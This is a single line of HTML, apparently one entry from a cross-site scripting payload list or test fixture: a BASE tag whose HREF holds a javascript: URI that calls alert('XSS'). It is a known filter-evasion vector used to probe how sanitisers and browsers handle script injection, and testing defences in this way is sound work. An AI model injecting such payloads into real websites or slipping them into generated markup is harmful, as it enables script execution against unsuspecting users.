<BASE HREF="javascript:alert('XSS');//">